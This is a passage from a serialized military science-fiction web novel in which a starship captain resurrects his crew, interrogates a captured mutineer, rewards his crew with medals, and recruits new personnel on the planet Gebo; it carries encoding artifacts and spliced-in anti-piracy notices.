honor guard didn¡¯t ask any questions, because good Marines know it¡¯s not theirs to question why. Mark was glad for that, as the explanation would be a bit difficult. They arrived at their destination, the rebirther facility, thirty minutes later. The Rebirther facility is a gigantic warehouse filled with embryonic stem cells and raw protein. Every person can scan and digitize their memories and personalities for several thousand credits at the facilities, as well as submit a DNA sample to perform a recombinant birth. Assuming that person or someone they know can afford ten million credits. There were a lot of limitations to the facilities, outside from the extraordinary high costs. For one, you had to prove death. Legal disputes could easily arrive if two people with the exact same DNA and memories tried to prove who legally owned their assets. That was the reason that shooting someone out into space was considered the worst punishment, as it meant there was no way to recover their bodies and regrow them. Two, you couldn¡¯t transfer into a new body easily. Yes you could do it, but the human brain grew adapted to the host body. Despite the ancient mind/body dualism that pervaded many religions and philosophies, it turned out the two were combined. Putting an old mind into a new body wouldn¡¯t automatically turn someone into a super soldier. Far from it, they¡¯d usually be unable to walk since the nervous system connections would be wired for the wrong body. It took months of rehab to get back into functional conditions, years to gain athleticism. The Methuselahs, the very rich who performed this operation every two decades or so, chose to return to an earlier version of themselves, and used DNA splicing techniques to fix themselves into a better body while they were alive. So there were superrich, super smart, super good-looking people running around, but the process took several cycles to really nail down the exact DNA alchemy necessary to produce that result.This tale has been unlawfully obtained from Royal Road. If you discover it on Amazon, kindly report it. Three, you returned to the memories you had when you had your brain scanned. You could get another scan done, if you had a set of intact brains, to return the memories back to the person, minus their death as that was too traumatic an experience, but you could also lose dozens of years of your life or find yourself completely unprepared for the modern World if your backup was too long ago. Four, if you didn¡¯t see a geneticists after your resurrection and had to get resurrected again, there¡¯s a chance for transcription errors to occur. Copies of copies lose fidelity. So you could be resurrected only to discover you have cancer or dementia if you didn¡¯t get a clean genetic bill of health from the doctor before you did it again. Still, despite all those drawbacks, it was a medical miracle. Mark and his honor guard spent the next four hours unloading each of the heads of his deceased crew, scanning them, and then letting the machine rebuild them from the ground up using 3d printing with raw proteins. The process would take at least eight hours, and Mark left one special cranium nearby while the others were being rebuilt. He sent the honor guard off with the instructions to return in six hours to return all their containers and to come back to collect him and their nearly revived teammates with enough vehicles to seat them all. They saluted and went back to take their break. Mark pulled out the one container he had reserved for himself and look at the austere man¡¯s head he held, the person who had tried to take over his ship. The first man Mark had ever killed. He supposed that he should feel some remorse, regret, or concern about having done that to the man, but he just felt a coldness inside when he looked at the man¡¯s face, frozen in perpetual shock. Mark digitized the man¡¯s memories and began restoring the man, but with some specific modifications. This normally wasn¡¯t possible, but Mark¡¯s high skill in computer operations and programming allowed him to do some new tricks. The modified layout build the man¡¯s head and throat, but modified the throat to have two sets of mini-lungs that would supply enough oxygen to think and breath, for a head without a body to support. There was a single set of waste membranes at the bottom of the throat to allow excretion of toxins. While the body was being regenerated, he modified his glass container to have a simple transponder that he could turn on and off with a button, large enough to hold the throat/head combination along with embryonic fluid and a filtration system to remove waste. It wasn¡¯t going to win any engineering awards, but the crude device would certainly work well enough for his purposes. Sadly, even with someone¡¯s digitized brain, you couldn¡¯t easily do anything with it. The brain is a very messy organism, storing sight, sound, memory, and other parts in different places. With enough time, money, effort, people, a facility capable of that work, and a judge-ordered subpoena for that sort of testimony, you could eventually find the exact things you were looking for. Problem was by the time you were through with all that, the information you needed would fade from urgency. That sort of deep forensic work was usually only done when serial killers were executed and they needed to make sure they accounted for all of the victims. Since a recovered body could be resurrected, serial killers didn¡¯t like to give those to the police, since it meant their victims would outlive their killer. After Mark finished the final touches to his case, he waited for the new head/throat combination to be finished. It only took a few minutes before the eyes opened up, and the throat expanded with its new mini-lungs taking their first breath. ¡°Where am I?¡± the man asked. Mark walked into his field of view. ¡°You ever heard of the Oracle Project?¡± The man just looked back at Mark with an angry scowl. ¡°Where am I?¡± he repeated. ¡°Oh, this place? It¡¯s a rebirther facility. And it¡¯s just the two of us. And you don¡¯t look very good.¡± He held the glass contraption he¡¯d created and allowed the man to see his reflection in it. The man went white when he saw his inhumanely modified form in the reflection. ¡°So, the Oracle Project, you ever heard of it?¡± Mark repeated. The man looked too stunned to give an answer. ¡°It¡¯s okay if you haven¡¯t. It was a top secret military project. Except my great granddaddy worked on it, and the stories of that passed through the family. We¡¯re all military, hell, I¡¯m practically military royalty.¡± As far as the game history went, that was true. ¡°Back during the AI wars, humans had a big problem. AIs could beat the crap out of any regular human. Hell, even the smartest humans. So my great granddad came up with an idea. The brain is remarkably plastic, it can change dramatically based on needs. So there was the case of this C-level college student, got drunk with some friends and dived off a mountain cliff, straight into a rock. Paralyzed him. Completely paralyzed from the neck down. But instead of continuing on his C-level path, he became a genius. His work formed the basis of interplanetary travel that we all use. My great granddad, Abhay, he decided that if we did the same thing to humans, we might be able to sort of force breed human super soldiers. The name of that project was the ¡®Oracle Project.¡¯ Well, you can guess what happened. Most people went crazy, but a few did become super geniuses. Hooked up with the latest information, they could start to outperform the AIs, eventually leading to us winning the war against the machines and shutting them down. The Oracle Project was abandoned, some of those Oracles made the very facility you¡¯re sitting in right now in order to be able to restore themselves back. So this is all hush-hush stuff. Top secret and all that. But the way I see it, you got two choices. Option one, you can tell me everything I want to know about who set us up, how they did it, and how they knew where we were. If you do a great job, I¡¯ll turn you into an Oracle. It might not take, but at least you have a shot at being useful and maybe getting a body back at some point in your life. Option two, you don¡¯t tell me what you know, and I lock you in this little box with no light, sound, or stimuli and wait until you crack. Then I keep you as a trophy until my one hundredth rebirth and shoot you with a rocket to celebrate the occasion. Your choice how this goes down.¡± Recompense After the Oracle told Mark everything he wanted to know, Mark performed another brain scan on it to strip it of its memories, but leave intact its ship commanding capabilities. He bagged up his new Oracle and waited for the remainder of the team to resurrect. He spent that remaining time going over the report that he¡¯d need to file, getting everything in order and omitting the key details that would land him in hot water. As crew members were reborn, he¡¯d brief them on where they were and give them sets of civilian clothing to put on while they waited. After the last of his crew dressed, they waited until the return crew arrived to transport them back. They made a direct egress to the ship, and Mark told the entire crew to put on their dress uniforms and form up in the cargo bay area for inspection. He needed to set the record straight on some things. He also made a stop at the fabricator to begin creating some new medals and ribbons for his crew. He went into his Captain¡¯s chamber, put on the white noise disperser, and fired up the ship Captain¡¯s hologram projector to make a call to Colonel Christopher Grovel, commander of the special investigations branch of the Interplanetary Investigations Office. The quantum tunneling packets were near instantaneous, but the encrypting and decrypting process took some time to make sure the handshake between the receiving and transmitting parties was secure. The white noise disperser sent noise through the walls so any eavesdropping devices wouldn¡¯t be able to pick up on the words used in the conversation. The Colonel¡¯s face appeared in the holodeck. Col. Grohall looked like he had been carved from a granite statue. His harsh features made him look like a perpetually scowling gargoyle, but Mark knew that the Colonel was a teddy bear around his grandchildren. His hawkish nose, deep set eyes, and stern nose bridge and eyebrows made that fact hard to remember. Mark gave a crisp military salute. ¡°Sir, Captain Thomas, reporting. The debris fields have been cleared.¡± The Colonel returned the salute and responded, ¡°Keep sweeping and make sure no threats remain.¡± The Challenge-Response Authentication Method, or CRAM, as the military had an acronym for everything, was used to determine the situation before further communication. Mark¡¯s response meant that he wasn¡¯t under duress or being surveilled while making his report, the Colonel¡¯s did the same. ¡°At ease soldier,¡± the Colonel said. ¡°Report.¡± ¡°Sir,¡± Mark began, ¡°Transferring over the SITREP and AAR.¡± The SITREP is the situational report giving the Colonel the information about the ongoing investigation and the AAR is the After Actions Report, detailing their encounter with the pirate ships. ¡°Give me the highlights Captain,¡± the colonel responded. ¡°Sir, the investigation has uncovered that outer World planets are working with pirates to potentially declare independence from the current World government.¡± ¡°Anything we can use?¡± ¡°Negative on that sir, the means used were extrajudicial.¡± The Colonel¡¯s disapproving glare hit Mark, making him feel like a naughty pupil getting called into the Principal¡¯s office with his parents. ¡°The intel wouldn¡¯t help us at this stage of the investigation anyway,¡± Mark quickly explained, ¡°The pirate ships use cell based organizations, each is sandboxed away from each other with no direct contact with the superiors above in the chain.¡± Mark knew that this was the same command structure the Reapers employed, which could be to keep a strict chain of command or to keep each person hired from knowing anything about the overall structure of the Reapers organization. ¡°Positive confirmation of our suspicions is a step in the right direction,¡± Col. Grohall stated. ¡°If you can provide legal means of proving this link, then we can escalate this operation to an officially sanctioned black operations task. As it stands, I cannot sequester any funds for an unauthorized black ops mission.¡± An unofficial black operation didn¡¯t have any paper trail at all and was intended to enable complete deniability. Making accusations that outerWorld planets were involved in treason, pirating, and conspiracy to commit treason would provoke an all-out war. Escalating it to a sanctioned black operation meant that a special sealed vault would contain records of the deeds of each person. Only the person in charge of the operation would have access to those records, guarded by strict biometric protocols. Other commanders of other operations would have no access to them. Records could only be unsealed to a larger audience by going through the Senate Committee on Planetary Security, but it allowed things like fiscal support for the operation, the ability to commandeer crews and ships, and a whole host of other benefits. As it stood, Mark only had access to his official military pay, which was peanuts for this investigation, and anything he could secure on his own. ¡°Understood sir. Currently we have appropriate funding through extrajudicial means. I have requests not related to financial expenditures.¡± ¡°Understood Captain, proceed.¡± ¡°I would like to submit several medals for valorous action during combat, and a field promotion for Lieutenant Smith, promotion to the rank of Captain.¡± The Colonel had a brief look of surprise, but then went over the AAR to see the specific citations. ¡°I can authorize all of these, but you¡¯re getting one as well. Combat pilot badge, you took out a hostile ship with superior firepower without sustaining major damage to the ship, no small feat. The reasons for the commendations will be put under black ops secrecy, but they¡¯ll all go through. Your mission is to get me actionable, legal grounds for a full-scale investigation. With luck, this will be a few bad actors. Worst case, this is a full scale insurrection.¡± ¡°Understood sir. We¡¯re going to the Gebo planet as our next destination, once I¡¯ve finished running missions here. I¡¯ll need people to recruit whenever I get there. Preferably, people with military experience who were either honorably discharged, or were discharged for other than honorable, but not dishonorable reasons.¡± The military could let go of people for any variety of reasons. It was very rare that the military screwed up in that regard, since personnel were always at a premium and training is a very expensive endeavor, but a few people did end up getting the shaft for reasons beyond their control. Out.¡±You could be reading stolen content. Head to Royal Road for the genuine story. ¡°Very well, I¡¯ll assemble a list. Keep me posted on further developments as they arise.¡± With that, the Colonel gave a quick salute, which Mark returned, and the hologram shut off. A new notification appeared in his vision.
New Quest: Sanctioned Mission, insurrection
You have been given the official task of finding out whether or not outer federation planets are helping and protecting pirates. You must also find out why they are doing it, and bring back legal proof of their involvement. Rewards will be given out based upon performance at quest completion.
Mark dressed into his military dress blue uniform and went out to meet his garrison. Everyone was dressed in their military best as well, and the squads sounded off to give their report to the XO. After roll call finished, she turned, told the Captain that everyone was accounted for, and waited for him to continue. He shouted out the command, ¡°At Ease¡± to let everyone know to relax from attention. ¡°I know that these ceremonies can go on for a while too long, so I¡¯ll try to be brief.¡± Mark began. ¡°All of you, unknowingly, have signed up for a black ops mission. You were evaluated over the course of a six month period to determine your fitness for inclusion into this operation. Recent events have accelerated that time table. During combat, if there were a traitor on board this ship, we would have seen it. But review of the combat logs and footage shot showed everyone performing up to standard. Except for one person.¡± He took a pause to look around at each person in the formation. ¡°And that person was me. I failed to facilitate military growth and instruct units under my charge. I failed to put protocols in place to maintain operation security. I failed you as a leader. My failures resulted in unnecessary casualties and compromised a mission I never told any of you about. For that, I am sorry, and resolve to never let that lapse of leadership occur again. You have my word on that.¡± ¡°All of you will be given medals befitting your role in repelling a hostile force. Special recognition will be given to those who performed exemplary feats of leadership during a crisis. The first and most notable is Lieutenant Luciana Smith. Or as she¡¯ll now be addressed, Captain Smith. For heroism, quick-thinking, and going above the call of duty, she has been given the rank of Captain, as well as the bronze medal of honor for distinction and the combat pilot badge. Captain, receive your new rank.¡± The Lieutenant was clearly surprised, Mark not telling her the intention of their briefing, but she strode up to her position next to Mark. He took off her Lieutenant¡¯s rank and pinned on her Captain¡¯s rank, a set of double silver bars. He also added the ribbons for the bronze medal and combat pilot. She saluted him when he was done, and he saluted back. Then she resumed her post. ¡°Next are Staff Sergeant Emily Gu?minski and Sergeant Grace Fugiel, both recognized for leading the assault against the hostile forces. All Marines will receive the combat badge, but these two will receive the bronze medal of honor in addition. Fall out of formation and receive your awards.¡± The ceremony continued like that, medals given for valorous actions in combat, for the mandatory badges given for performing a combat operation, and other moral boosting measures to boost morale aboard the ship. Finally, he accepted his own award from the newly minted Captain Smith. ¡°Now, we have all learned just how dangerous this mission is. I cannot divulge any further details about it unless I know everyone on board this ship is one hundred percent ready for this mission. So, if you wish to leave this crew, you may fall out of the formation and form your own squad to the rear. There will be no judgment. I will personally write you a recommendation for whichever unit you wish to be stationed with and wish you well on your new adventure.¡± He waited. No one moved. Eyes glanced around to see if anyone would fall out, but no one did. ¡°Very well. This is a top-secret black ops mission. For right now, we¡¯re all each other has. In light of that fact, training and cross-training will be implemented regularly. Squad leaders will coordinate with Captain Smith for the training regimen for the day. No knowledge of this operation must leak outside of these walls.¡± ¡°Officially, the line is that we¡¯re privateers, given orders to regain any goods acquired through illegal means. Unofficially, we¡¯ve seen several reports that pirates in certain outer Worlds are operating with impunity. That might be coincidence, as Earth can¡¯t patrol every far-flung system out there, but intelligence indicates that some of these federations are actively helping and encouraging pirating from Earth. To what end, we don¡¯t know. Our job is to investigate this intelligence and see if it is credible, and if so, to bring back proof of it.¡± ¡°We can now hold double the crew we initially could, and we will be recruiting at our next destination. They will not be briefed about our unofficial mission until they pass security clearance. Operational Security procedures and Standard Operation Procedures will be followed at all times. Now that you¡¯ve been briefed, any violation of these orders will bring punishment under the Uniform Code of Military Justice.¡± Mark stood at attention. ¡°Platoon! Attention!¡± he called out. The platoon snapped to attention. ¡°Dismissed.¡± Another notification appeared in his vision.
Disadvantage Removed: Derelict Leader
You finally understand Leadership. Loyalty, Duty, Respect, Selfless-Service, Honor, Integrity, Personal Courage. Disadvantage removed so long as you continue to show the qualities of a professional military leader.
Milk Run Mark¡¯s next mission came from his data pad, which contained two encrypted messages from Goro¡¯s business associates. The first task given is a basic pirate run. Mark¡¯s crew needed to stop two incoming transport ships and hijack their cargo. This would make Goro the main supplier for the region, and allow him to hike up his rates. The dealers knew that this would happen, so it¡¯d be a variant of the same scam they ran before the Void Terror crew interrupted their run. They could then sell those goods off at a profit at their next stop. The second mission was a smuggler run. They¡¯d be given some cargo, hand it off at a certain drop exchange coordinate, and then be on their merry way. This one felt wrong to Mark, so he made a mental note to follow up on it. The next week consisted of ship repairs, installing new hardware like automated shifter floor and wall panels in the training room that could simulate going up and down stairs, cover, and other obstacles. Each team spent one hour a day doing physical training and one hour a day doing squad training for six days, then spent one hour a day for two days doing cross training with other groups. The goal was to make sure if the absolute worst occurred and most of the crew was massacred again, the remaining crew would be able to at least partially fill the roles left by their dead squad mates. The squads spent their time in simulate live scenarios from assaulting a ship to assaulting buildings, to repairing equipment malfunctions, evacuating the ship, wiping the ship¡¯s logs, and every other sort of drill that crew could remember from their training. Luciana granted leave tokens to high performers in the squad or to the entire squad at the end of the week. No one wanted to use them on the lackluster Scillies 6a planet, but they made valuable currency for when they made it to a bigger, more luxurious planet. Mark and Luciana spent their time going over the personnel files, Armed Services Vocational Aptitude Battery tests, prior service records, and other details to try to match people up with cross-training regimens that would match their aptitudes. They downloaded the official field manuals from the armed services to each crew members data tablets, and made sure that anyone who still had all of their original notes and lectures duplicated them and shared them throughout the ship. Additional surveillance equipment was added to both ships, so EVE could watch the crew and record what they were doing, and record any suspicious activity. Mark didn¡¯t think his current crew would be a problem, but he really wasn¡¯t sure about whoever they were going to pick up next. Additionally, if the worst came to it, EVE could at least advise whatever crew member¡¯s were remaining about their job. Which lead to Mark¡¯s final backup plan. In the case of the worst of the worst, all of the information on the crew¡¯s job and training were being fed back to the Oracle. He was stuck inside the wall of Mark¡¯s captain chambers and fed information from EVE. But with a steady stream of military field manuals, live video feeds, and information from the simulated drills; he and EVE could control the entire ship if it came down to it. Mark needed to buy lots of androids to start patrolling the ship, and set them up with a network for EVE to access, but those sorts of high-end goods wouldn¡¯t be available on a jumper planet.Unauthorized tale usage: if you spot this story on Amazon, report the violation. He also took part in the cross training exercises, but his combat training was one-on-one with Captain Smith. She came from the school of thought that one perfect move was better than a hundred sloppy ones, so he spent his time learning the same hip escapes, reversals, foot sweeps, hip throws, and other close-quarter combat tactics over and over. His perfect memory allowed him to instantly grasp the technique at an intellectual level, but fighting was about instinct, not intellect. A week into this regimen, the final repairs were completed. Mark accepted both missions and Goro¡¯s men loaded up the containers. After they left, Mark studied the containers diligently. They were about the size of a king size bed, but made from metal. They clearly contained a battery unit of some sort, but the only external interface was a small computer screen that gave a tracking id for each unit. Mark started hacking away at the terminal, but realized there wasn¡¯t any more information than the tracking id in the computer. The containers were single entry containers, meaning that once you opened them, they couldn¡¯t be resealed. This meant there was no way to tamper with the container without alerting the next person that you¡¯d been tampering with the goods. Mark thought about the problem, and then decided the best way to go about this problem was to setup a snitch program inside each of the computer terminals. The program would work on any internet connected device, and when an outgoing communication was sent, it would piggyback its own encrypted message along with it. The message had to be small, otherwise it would attract attention. The only thing that it sent out was the current geo-coordinates that it was currently located at if that was part of the message. Otherwise, it would just send out a ping that said, ¡°I¡¯m here.¡± He had to fight the urge to open the containers on what he was certain were illegal goods, but that would blow his cover. Deciding that he¡¯d done all that he could, he sent gathered his crew together to make their raids against incoming cargo vessels. Everyone dressed up and went into full combat alert, but the entire ordeal was uneventful. The crews on the ship had resigned looks that said this was a regular occurrence, and they handed over the cargo without any fuss. From there, they made their drop off of the illegal cargo. Again, everyone dressed up and tensed for a fight, but nothing happened. They reached their coordinates, dropped the cargo, sent out the message that the run was complete, and left. A milk run. ¡°Alright everyone,¡± Mark said over the ship¡¯s comms. ¡°We¡¯ve had it easy thus far, but maintain operation readiness during all missions. We¡¯re heading to Gebo now, so security is paramount.¡± They left from the drop point and made their way to Gebo, a mere three-day flight with all of the systems operational. Friendly faces in strange places The ships arrived at Gebo, and the crew looked relieved to see a real planet instead of a methane factory. From the readouts of the planet, the only downside to it is its large wobbling axis, which made summer and winter extremely long seasonally. Still, the metropolitan areas housed millions of people and the sort of high-end equipment that people in his line of work needed. He docked the Void Terror into the shuttle bay, and stepped off into the surface. It was daytime, and he could see a large group of people standing around, looking at him hopefully. He didn¡¯t know what for, but they seemed eager to talk to him. None of them made the move to do so, however. He also saw groups of men in purple and black uniforms standing at a checking-in station that funneled people inward towards it. They had holstered pistols, rifles slung across their back, and communications gear to call in reinforcements as needed. He waited for Captain Smith to park her ship so she could meet up with him. She¡¯d have to walk or catch a ride to meet up with him, the distance between their two ships was about half a mile. She elected to walk, calmly walking around and surveying the area. The groups of disparate people standing around also turned the same hopeful looks on her. She saw them, but made no sign of acknowledgement. They walked together up to the uniformed guards. As soon as they crossed a little red line that marked they were up for inspection, a bored older man with a brown and grey peppered beard motioned them forward. ¡°Welcome to Gebo,¡± he began, reciting what sounded like a rehearsed speech that he¡¯d done so many times that the words flowed of their own accord, ¡°Please look into the retinal scanner and state your name, business, and if you have any judicial or other bounties placed upon you at this time. We won¡¯t turn you in if you do, but you should leave immediately if you do. If you cross this line, that makes it an official government problem and we will assist anyone who has a legal claim against you. Do you have anything to declare?¡± He didn¡¯t look at Mark the whole time that he recited his official warning, and looked at Mark¡¯s official record. He sat up a bit straighter when he saw who Mark was. ¡°Shit,¡± the man said under his breath, ¡°Are you here on official business? We weren¡¯t notified that the IIO was sending anyone over, the governor will want to know immediately.¡± ¡°That¡¯s ok,¡± Mark said, waving his hands in a placating manner, ¡°We¡¯re not here on official business. IIO allows officers a second job so long as it does not interfere with any ongoing investigations. We don¡¯t have an ongoing investigation. What we do have is a bunch of fruit, meat, electronics parts, and other gear that we¡¯re planning on selling in the market here. We¡¯re also looking to recruit more members for our ships as we find ourselves understaffed at the current moment.¡± The man and his buddies looked more relaxed after that statement, but he still seemed to be suspicious. ¡°Well, if any official business does come up, you make sure we¡¯re notified of it. Otherwise, this could end up in a judicial clusterfuck if jurisdiction becomes an issue.¡± ¡°The IIO always has the jurisdiction if we claim it,¡± Mark replied, putting extra emphasis on the always. He didn¡¯t want to get into a territorial pissing match if he could avoid it, but the IIO always superseded local authority. In practice, they didn¡¯t use that particular cudgel as often as people believed, since they didn¡¯t have the manpower to spread themselves too thinly across space. They preferred to let local investigations handle it, so long as the local investigation units weren¡¯t completely incompetent. Since many systems didn¡¯t have formal investigations training, taking over investigations sometimes turned into an unfortunate reality that left the locals very angry at the IIO. ¡°Nevertheless,¡± Mark continued, this time more placating, ¡°In the event that we need to make an arrest or open an investigation into the activities of this planet, we will inform the local law enforcement.¡± ¡°Good to hear,¡± the older man said, adjusting his uniform and projecting an official sounding voice, ¡°Glad we understand each other. The governor will still want to see you, for gossip as much as anything else. Can we get your data pad¡¯s identifier?¡± Mark showed them the identifier for his data pad that allowed them to send him direct messages, then he stepped through. The government agent printed out a card with Mark¡¯s face and a tiny chip that held Mark¡¯s bio information so it could be scanned if he tried going anywhere. Essentially, they put a tracker on him. While it was tempting to go drop it off in the nearest android trash receptacle, he knew that this wouldn¡¯t earn him any brownie points with the local law enforcement. While the older government agent repeated his spiel to Captain Smith, another agent started speaking to Mark. She was a young woman with short sandy brown hair and an upturned nose. Not pretty, but maybe cute to some people. Mark wasn¡¯t going to ogle any women with Captain Smith a few feet away. ¡°If you¡¯re looking to recruit, that¡¯s what the gaggle over there is,¡± she said, pointing with her face at the clusters of groups waiting by the entrance. ¡°Ship crews come in on temporary runs where they need a few extra hands, then drop them off when the run is done. Or sometimes a ship¡¯s owner goes belly-up and he has to sell the ship, so the crew gets stranded while the debt is being worked out. Whatever happens, these are the people looking for work. There¡¯s also people on the job boards, but this is a good first stop shop.¡± He looked at her badge. Corporal Christina Stubelick. The fact that she was alert and helpful out of the crowd of these Gebo agents meant that she¡¯d be one to keep an eye on for future help. Sadly, her low rank meant that she didn¡¯t have any pull, but she might be a person of interest for later on. ¡°For your cargo, you¡¯ll have to get it officially registered before you can sell it. Requires you to pay for a permit and pay for all transactional taxes,¡± the first guard he¡¯d spoken to called after him. Mark wanted to see if he could waive the license agreement, but the look in the man¡¯s eye told him he didn¡¯t have a friend here. ¡°Thank you,¡± he looked at the rank on the man¡¯s arm, ¡°Sergeant.¡± The man nodded. People in uniform like it when you respect their position. ¡°Do you have any weapons to declare?¡± the man asked. Mark shrugged. ¡°I¡¯m authorized full weapon¡¯s rights as a representative of Earth. Am I not?¡± The man let out a gruff bark that sounded like, ¡°Yeah¡±, but could have been anything. ¡°Yes, but if you don¡¯t declare them and there¡¯s any firearm discharges in the immediate area, you and any other people who come aboard from your ship are going to be questioned. Save us both from having to push electrons around.¡± ¡°I see your predicament Sergeant, and I¡¯ll have one of my privates bring you the information once we¡¯re settled in.¡± That seemed to placate the Sergeant. Luciana walked over to where Mark waited and she fell in step beside him. ¡°You really going to give him our weapon identifiers?¡± she asked in a low voice. ¡°Hell no,¡± Mark replied, ¡°I¡¯m going to give him the numbers of some of our squeaky clean weapons that have never been discharged in a live fire. We¡¯re taking the weapons we confiscated from the pirate crew aboard the planet. If they try to pin anything on us, they will be looking for weapons that will have biometric proof that they¡¯ve never been fired. They¡¯ll look like idiots.¡± Luciana gave him a little smirk. ¡°You¡¯re still the finest bullshitter I¡¯ve ever met, sir.¡± He tipped an imaginary hat to her. ¡°Thank you, ma¡¯am. The fine art of confabulation is not appreciated in most parts. I¡¯m still a bit miffed that we couldn¡¯t remain low-key for this operation, but this isn¡¯t a backwater planet.¡± ¡°Improvise and adapt,¡± Luciana replied, laconic as ever. They walked together and approached the mixed crowds of people that had been eyeing them. Luciana naturally acted as the tough in any situation they were in, which was ironic, given her stature. However, she managed the quiet menacing look quite effectively, and Mark was fairly sure that quiet and threatening were his least two favorite things. The group of onlookers formed a loose semi-circle around them. They eagerly awaited to find out news from the two captains. Mark estimated that there were maybe twenty people crowding around them. ¡°Hello everyone,¡± Mark started. ¡°I am Captain Mark Thomas, this is Captain Luciana Smith. We have two vessels which are currently at about half staff. The first and most important question is if you can get an interstellar security clearance to operate aboard a military vessel. If you were dishonorably discharged or given a bad conduct discharge, you may file out at this time.¡± Five of them filed out. Mark waited for them to go. One man in maybe his thirties raised his hand timidly. Mark nodded at him. ¡°Uh, sir, what if we were discharged under other than honorable?¡± ¡°That depends on the exact situation. Drop off your DD214 with the Captain and we¡¯ll evaluate your record and call up your old company to see what they recall of your behavior. If it¡¯s glowing enough, we may still decide to accept you.¡± ¡°Thank you sir,¡± the man replied meekly. Mark continued. ¡°Our ship has the following jobs available: One cook, two navigators, two sensor operators, four missile gunners who have at least some sensor operator experience, two engineers, two medics, four turret gunners who must have either engineering experience or experience as technicians, if you have both you¡¯re in a premium slot, and four technician slots. If you do not have qualifications that match these specifications, fall out at this time.¡±If you spot this story on Amazon, know that it has been stolen. Report the violation. Another five fell out, with ten remaining. ¡°For those of you remaining, this is a military ship. Even though we are currently operating in a civilian capacity, the military missions remain paramount. You will be expected to learn the rules of military conduct, and failure to follow those rules is punishable under the Uniform Code of Military Justice. This means you will not divulge any information to your closest relatives about the ship. You will report to any and all assigned locations at the exact time you are supposed to be there. You will engage in regular physical training, learn the specifics of your occupation specialty, and maintain a uniform and military appearance both in regards to your personal appearance and the appearance of any quarters you are given.¡± ¡°In the event of a military operation, you may be asked to carry arms and help engage in the mission. Any honorably discharged veterans will be reassigned their rank for the duration of our operation. Anyone who was not honorably discharged,¡± he looked at the man who had spoken earlier, ¡°Will have the ability to show me through their hard work and dedication why I should ask for them to have their discharge type changed. For those of you without rank, you will be beneath the most green private aboard our vessels. If you do find yourself longing for the steady pay, career path progression, and physical orderliness of a soldier, I am authorized to enlist you provided you can pass all physical, mental, and occupational tests required for your mission occupation specialty.¡± ¡°So if you wish to keep your putrid civilian body, have a moral or religious objection to military conflict, find it difficult to follow orders, prefer not to engage in appropriate physical hygiene and maintain the appearance of your personal space, or prefer to show up to places when you good and well feel like it, this is your time to fall out.¡± Six fell out this time. The under other than honorable dischargee was still amongst those remaining. ¡°The four of you,¡± Mark said, waving at the group, ¡°put your biometric information into Captain Smith¡¯s data pad and if you are a match, we will put out a notification via the job posting of this planet. If you do not respond, we will assume that you have changed your mind.¡± The remaining members were three men and one woman. They each let the retinal and face scanner process before rejoining the rest of the job seekers that had dispersed after hearing the Captain¡¯s speech. ¡°Four out of twenty-one jobs? That¡¯s not much to get us mission ready. Plus, civilians.¡± She said the last word with notable distaste. Mark nodded as he walked back to his ship. ¡°Yeah, but that only took a few minutes. Even the ones who didn¡¯t accept might have someone on the line who would be right for us, so a pretty good investment for such a low amount of effort.¡± He opened his data pad and sent out a secure message to the ship¡¯s personnel detailing their weapons load out and that they were to begin unpacking all cargo for inspection and taxation. ¡°Come on Captain, we have another special recruit to meet.¡± Their ¡°special recruit¡± was holed up at a bar, the ¡°Hot Birds¡± Bar, to be exact. The place was a jumble of interactive 3d projections and virtual gear, an outdoor area with most of the same, people who line-danced on the second floor, and a series of women dancing in cages with feather accoutrements. If you paid for the VR visors, you could see the women as cat-women, dragon ladies, anime characters, and other fanciful characters. The man they were interested in was Vidal Roger, a former First Sergeant Space Marine who was discharged under other than honorable conditions. Mark knew why the man had been discharged from reading this file, but wanted to meet the man to see if his private unit was what the team needed. The former 1SG wasn¡¯t hard to find. He sat at the table with a pair of visors, watching the spectacle of fantasy characters dancing in cages or on the floor. The man was built like a square mountain. His gigantic palms held a shot glass gingerly, a series of tattoos and scars made a topographical map across his forearms. He wore a short-sleeved button-down shirt that went three buttons lower than Mark would ever wear his shirt, designed to reveal his muscular, tattooed chest. His face was stubbly and his skin the pale white of people who spent large amounts of time aboard fleet vessels. He turned his goggles towards Mark and Luciana, noticeably looking at Luciana longer than he did Mark. Mark thought that Vidal Roger had a contemptuous look towards him, which wasn¡¯t uncommon amongst the space marines, who typically didn¡¯t like reporting to non-combat officers. ¡°So, you¡¯re the guy with the contract?¡± Vidal said, as way of greeting. Straight to business then. ¡°Yes, I am. The offer is simple. Pay plus the chance for a conversion to an honorable discharge.¡± ¡°Got some juice then do you?¡± ¡°Yes, I have some juice. But what I have on you is simply a transcript of your military records. Nothing about the incident that is in question.¡± ¡°You want to know about the FUBAR situation on Cuturn,¡± he replied briskly. ¡°Yes, I want to know about Cuturn.¡± Vidal let out a breath like he¡¯d told this story a hundred times, and he probably had. ¡°There¡¯s not really that much to tell that isn¡¯t in the personnel file. We find out that there¡¯s a major drug facility running on a no-name jumper planet called Cuturn. We think we¡¯re busting some small operation, maybe a few chem labs and some tweaked out geeks cooking up some nose powder and eye crystals. They¡¯d piss themselves as soon as we breached and start crying when the cuffs came on. Come in at 9, leave by 930. But that¡¯s not what we find.¡± ¡°Their operation is fucking flawless. Inbound missiles as soon as we switch to low-orbit transport. They take out one unit, the others have to break up formation to make their combat landings. We¡¯re all spread out a few miles from our initial dropzone, and they send out their own teams to track us. Cyber-dogs the size of men that move three times as fast come at us. Combat droids in the back to shoot at us while the dogs make quick attacks at us and flank us.¡± ¡°In short, a complete shit show. I¡¯m down an entire platoon and we haven¡¯t even breached yet. One of the other units landed closer and they breached, but were shuttled into a choke point and neutralized. Not killed though, just captured. One of the captured marines is a Senator¡¯s son back on Earth, worth a fortune in ransom. The order comes down from the Major to fallback and plan for negotiation. I tell him to fuck off with that order. They killed Marines, and we don¡¯t abandon our own. Not ever.¡± ¡°So my team and I follow through, using the other companies tactical reports to make sure we don¡¯t get corralled the same way. The facilities are massive and expensive. This isn¡¯t some group of tweakers or nature freaks trying to make a commune, this was a premium grade facility with corresponding protection. We get hit by automated turrets, laser traps, the whole nine yards. We blow up everything that¡¯s standing and start clearing our own path through the area. My men are getting cut down and I¡¯m down to one last platoon. Started with a hundred and twenty personnel, ended with thirty-five. By the time I finally get to the humans running the place, there¡¯s no time for drawing up the rules of engagement, it¡¯s just a slaughterhouse.¡± ¡°We kill the bad guys, rescue the other company, and think it¡¯s ¡®Hoorah¡¯ for the night. But hang on. It turns out the facility was letting drugs slip into the inner planets and back onto Earth, but they were also a full-blown medical research facility. Hush, hush, they¡¯re worried about patents getting stolen by rival companies, and they¡¯re protected by one of the outer World federations. This is now a diplomatic crisis, we¡¯ve killed a bunch of civilians and destroyed a medical research 